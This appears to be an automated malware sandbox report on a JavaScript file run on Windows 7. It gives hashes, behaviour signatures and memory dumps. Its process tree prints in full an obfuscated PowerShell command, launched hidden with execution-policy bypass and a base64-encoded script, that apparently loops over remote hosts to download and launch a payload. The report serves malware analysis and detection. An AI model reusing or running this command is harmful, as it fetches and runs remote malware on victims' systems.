Analysis

  • max time kernel
    26s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2023 13:28

General

  • Target

    Lnlmlmmw.js

  • Size

    240KB

  • MD5

    1d3ff4ed747331b584e92a5d57b6acd8

  • SHA1

    333ec83e9242cf227a0d6f3455375d01bc50cf40

  • SHA256

    8c2d1d7b94ee68e286b5d3c8f5df99c4d5ad0ed08267cfbcda66cab20bcd8927

  • SHA512

    056b6bca475eeec780c9c94bf2e0271bbaeb5af03d69aa1c0fb3b02413334fcab7c61f6147e8193ebf08a4452d8be0b20da50250a7848a4bebfb3922f4edd2a3

  • SSDEEP

    1536:mDY/NRvg4paakXIR0xlXfewOaPLfWy46hUHx+zIt5483CCpRhsW+F22SOtcgZaXA:H/NRvg4HOlX2wOjjlNLt8Gmj

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Lnlmlmmw.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Lnlmlmmw.js" dyspnoealColonialness Alstonine Pickery Shopkeeperism
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JAByAGEAZABpAG8AYwBhAHIAYgBvAG4AUgBlAGwAaQB0AGkAZwBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGcAQQBNAGcAQQB1AEEARABFAEEATQBRAEEAMQBBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQAxAEEARABjAEEATwBpAFQAVABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQQA9AD0ATwBpAFQAVABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAGcAQQB5AEEARABNAEEATQB3AEEAPQBPAGkAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBADAAQQBEAGcAQQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQA0ADsAJABlAHAAaQBsAG8AZwB1AGUAcwBJAG4AdgBhAGcAaQBuAGEAYgBsAGUAIAA9ACAANQA2ADUAOwAkAFMAbQBhAGMAawBmAHUAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAdwBCAHUAQQBHAEUAQQBaAHcAQgBvAEEARQBJAEEAYwBnAEIAMQBBAEcAdwBBAGUAUQBCAHAAQQBHAFUAQQBjAHcAQQB1AEEARwBjAEEAWQBRAEIAcwBBAEcAdwBBAFoAUQBCAHkAQQBIAGsAQQByAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAWgBBAEIAdgBBAEgASQBBAGMAdwBCAGwAQQBHADAAQQBaAFEAQgB1AEEASABRAEEAVgBBAEIAaABBAEgASQBBAGIAZwBCAHAAQQBIAE0AQQBhAEEAQgBsAEEASABJAEEATABnAEIAaABBAEcAdwBBACIAOwAkAEEAcgBjAHUAbABpAHQAZQBCAHIAYQBjAG8AbgBpAGQAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9AHgAdgBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBOAFEAQQB4AEEAQwA0AEEATgBBAEEAegBBAEMANABBAE4AZwBBADUAQQBBAD0APQB4AHYAbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBOAGcAQQB1AEEARABjAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBADIAQQBDADQAQQBNAGcAQQB6AEEARABBAEEAIgA7ACQAZgBlAG4AdABhAG4AeQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAFkAQQBMAGcAQQB4AEEARABJAEEATQBnAEEAdgBBAEYAWQBBAGIAQQBCAHcAQQBGAFEAQQBMAHcAQgB4AEEARABrAEEATwBBAEIAQwBBAEYAawBBAGIAZwBBADAAQQBBAD0APQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQARQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQB1AEEARABRAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADUAQQBDADgAQQBkAEEAQgBPAEEARwBZAEEATAB3AEIAUgBBAEUAawBBAFYAUQBCAG8AQQBIAG8AQQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABsAGEAZABsAGUAdwBvAG8AZAAgAGkAbgAgACQAZgBlAG4AdABhAG4AeQBsACAALQBzAHAAbABpAHQAIAAiAGQAIgApACAAewAkAGUAeABvAGcAYQBzAHQAcgBpAGMAVAByAGkAcwBlAGMAdABlAGQAIAA9ACAAIgBhAG4AbgBvAHkAaQBuAGcAbAB5ACIAOwAkAE0AZQByAGUAdAByAGkAYwBlAHMAUwBlAHYAZQByAGkAdABpAGUAcwAgAD0AIAA5ADYANwA7ACQASwBlAHIAYQB0AGkAdABpAHMAVwBhAHIAdwBpAGMAawAgAD0AIAA1ADYAOAA7AHQAcgB5ACAAewAkAEEAZgBmAGwAYQB0AGUAIAA9ACAAIgBwAGEAbgBkAGEAbgBpACIAOwAkAFYAZQByAGUAYwB1AG4AZABuAGUAcwBzAFkAYQByAGQAZQByACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBzAEEARwBVAEEAYwBBAEIAMABBAEcAOABBAGIAUQBCAGwAQQBHADQAQQBhAFEAQgB1AEEARwBjAEEAYQBRAEIAMABBAEcAawBBAGMAdwBCAFUAQQBHAGcAQQBjAGcAQgBsAEEARwBVAEEAWgBBAEIAcABBAEcAMABBAFoAUQBCAHUAQQBIAE0AQQBhAFEAQgB2AEEARwA0AEEAWQBRAEIAcwBBAEcAawBBAGQAQQBCADUAQQBDADQAQQBiAHcAQgB5AEEARwBjAEEAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFQAQQBHAHMAQQBaAFEAQgAzAEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAEkAQQBkAFEAQgB1AEEAQQA9AD0AZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBPAFEAQQB1AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAEkAQQBMAGcAQQB4AEEARABZAEEATwBBAEEAPQAiADsAJABVAG4AYwBvAGwAbwByAGEAYgBsAHkATQBlAGwAYQBuAGkAYwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGwAYQBkAGwAZQB3AG8AbwBkACkAKQA7AGkAdwByACAAJABVAG4AYwBvAGwAbwByAGEAYgBsAHkATQBlAGwAYQBuAGkAYwBzACAALQBPACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAcwBvAG0AZQB3AGEAeQAuAGgAZQBwAHQAYQBnAHkAbgBvAHUAcwBQAHIAZQBvAGIAdgBpAG8AdQBzAG4AZQBzAHMAOwAkAGYAZQB0AG8AcABsAGEAYwBlAG4AdABhAGwAIAA9ACAAIgBEAGUAbgBpAHoAYQB0AGkAbwBuACIAOwAkAFQAeQBwAG8AdABoAGUAcgBlAFMAZQByAHUAbQBhAGwAIAA9ACAAIgBHAGEAcwB0AHIAbwBkAGkAYQBsAHkAcwBpAHMAUwB1AGIAcwB1AHIAZQB0AHkAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABzAG8AbQBlAHcAYQB5AC4AaABlAHAAdABhAGcAeQBuAG8AdQBzAFAAcgBlAG8AYgB2AGkAbwB1AHMAbgBlAHMAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEANgA5ADAANwAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBjAHcAQgB2AEEARwAwAEEAWgBRAEIAMwBBAEcARQBBAGUAUQBBAHUAQQBHAGcAQQBaAFEAQgB3AEEASABRAEEAWQBRAEIAbgBBAEgAawBBAGIAZwBCAHYAQQBIAFUAQQBjAHcAQgBRAEEASABJAEEAWgBRAEIAdgBBAEcASQBBAGQAZwBCAHAAQQBHADgAQQBkAFEAQgB6AEEARwA0AEEAWgBRAEIAegBBAEgATQBBAEwAQQBCAHcAQQBIAEkAQQBhAFEAQgB1AEEASABRAEEATwB3AEIAVwBBAEgAVQBBAFoAUQBCAEsAQQBGAE0AQQAiADsAJABPAHYAZQByAGMAcgBlAGQAaQB0AEsAZQBlAHAAZQByAGkAbgBnACAAPQAgACIAUwBpAG0AaQBhAG4AaQB0AHkAIgA7AGIAcgBlAGEAawA7AFYAdQBlAEoAUwA7AH0AVgB1AGUASgBTADsAfQAgAGMAYQB0AGMAaAAgAHsAJABIAGUAbABiAGUAaAAgAD0AIAAiAGQAaQBhAGIAYQBzAGUAcwBMAGEAdABlAHIAYQBsAGkAegBlAGQAIgA7ACQASABhAG4AZABzAHAAYQBkAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAEUAQQBMAGcAQQB4AEEARABrAEEATQBBAEEAdQBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAQwBhAG4AdABhAHQAaQBvAG4AIAA9ACAAMwA4ADkAOwB9AH0AJABuAG8AbgBkAGUAZgBlAG4AZABhAG4AdABUAGEAcABlAHMAdABlAHIAIAA9ACAAIgBRAHUAZQBlAG4AcgBvAG8AdABGAHUAbgBuAGUAbABsAGkAbgBnACIAOwAkAFMAZQBtAGkAcwB0AGEAdABlACAAPQAgACIAYQByAHQAaAByAG8AcABvAGQAeQBJAG4AdABlAG4AcwBpAG8AbgBhAGwAIgA7ACQASQBuAHcAYQBsAGwAaQBuAGcAIAA9ACAAOQAxADEAOwA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1776

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1776-58-0x000000001B280000-0x000000001B562000-memory.dmp

    Filesize

    2.9MB

  • memory/1776-59-0x0000000002310000-0x0000000002318000-memory.dmp

    Filesize

    32KB

  • memory/1776-60-0x0000000002340000-0x00000000023C0000-memory.dmp

    Filesize

    512KB

  • memory/1776-61-0x0000000002340000-0x00000000023C0000-memory.dmp

    Filesize

    512KB

  • memory/1776-62-0x0000000002340000-0x00000000023C0000-memory.dmp

    Filesize

    512KB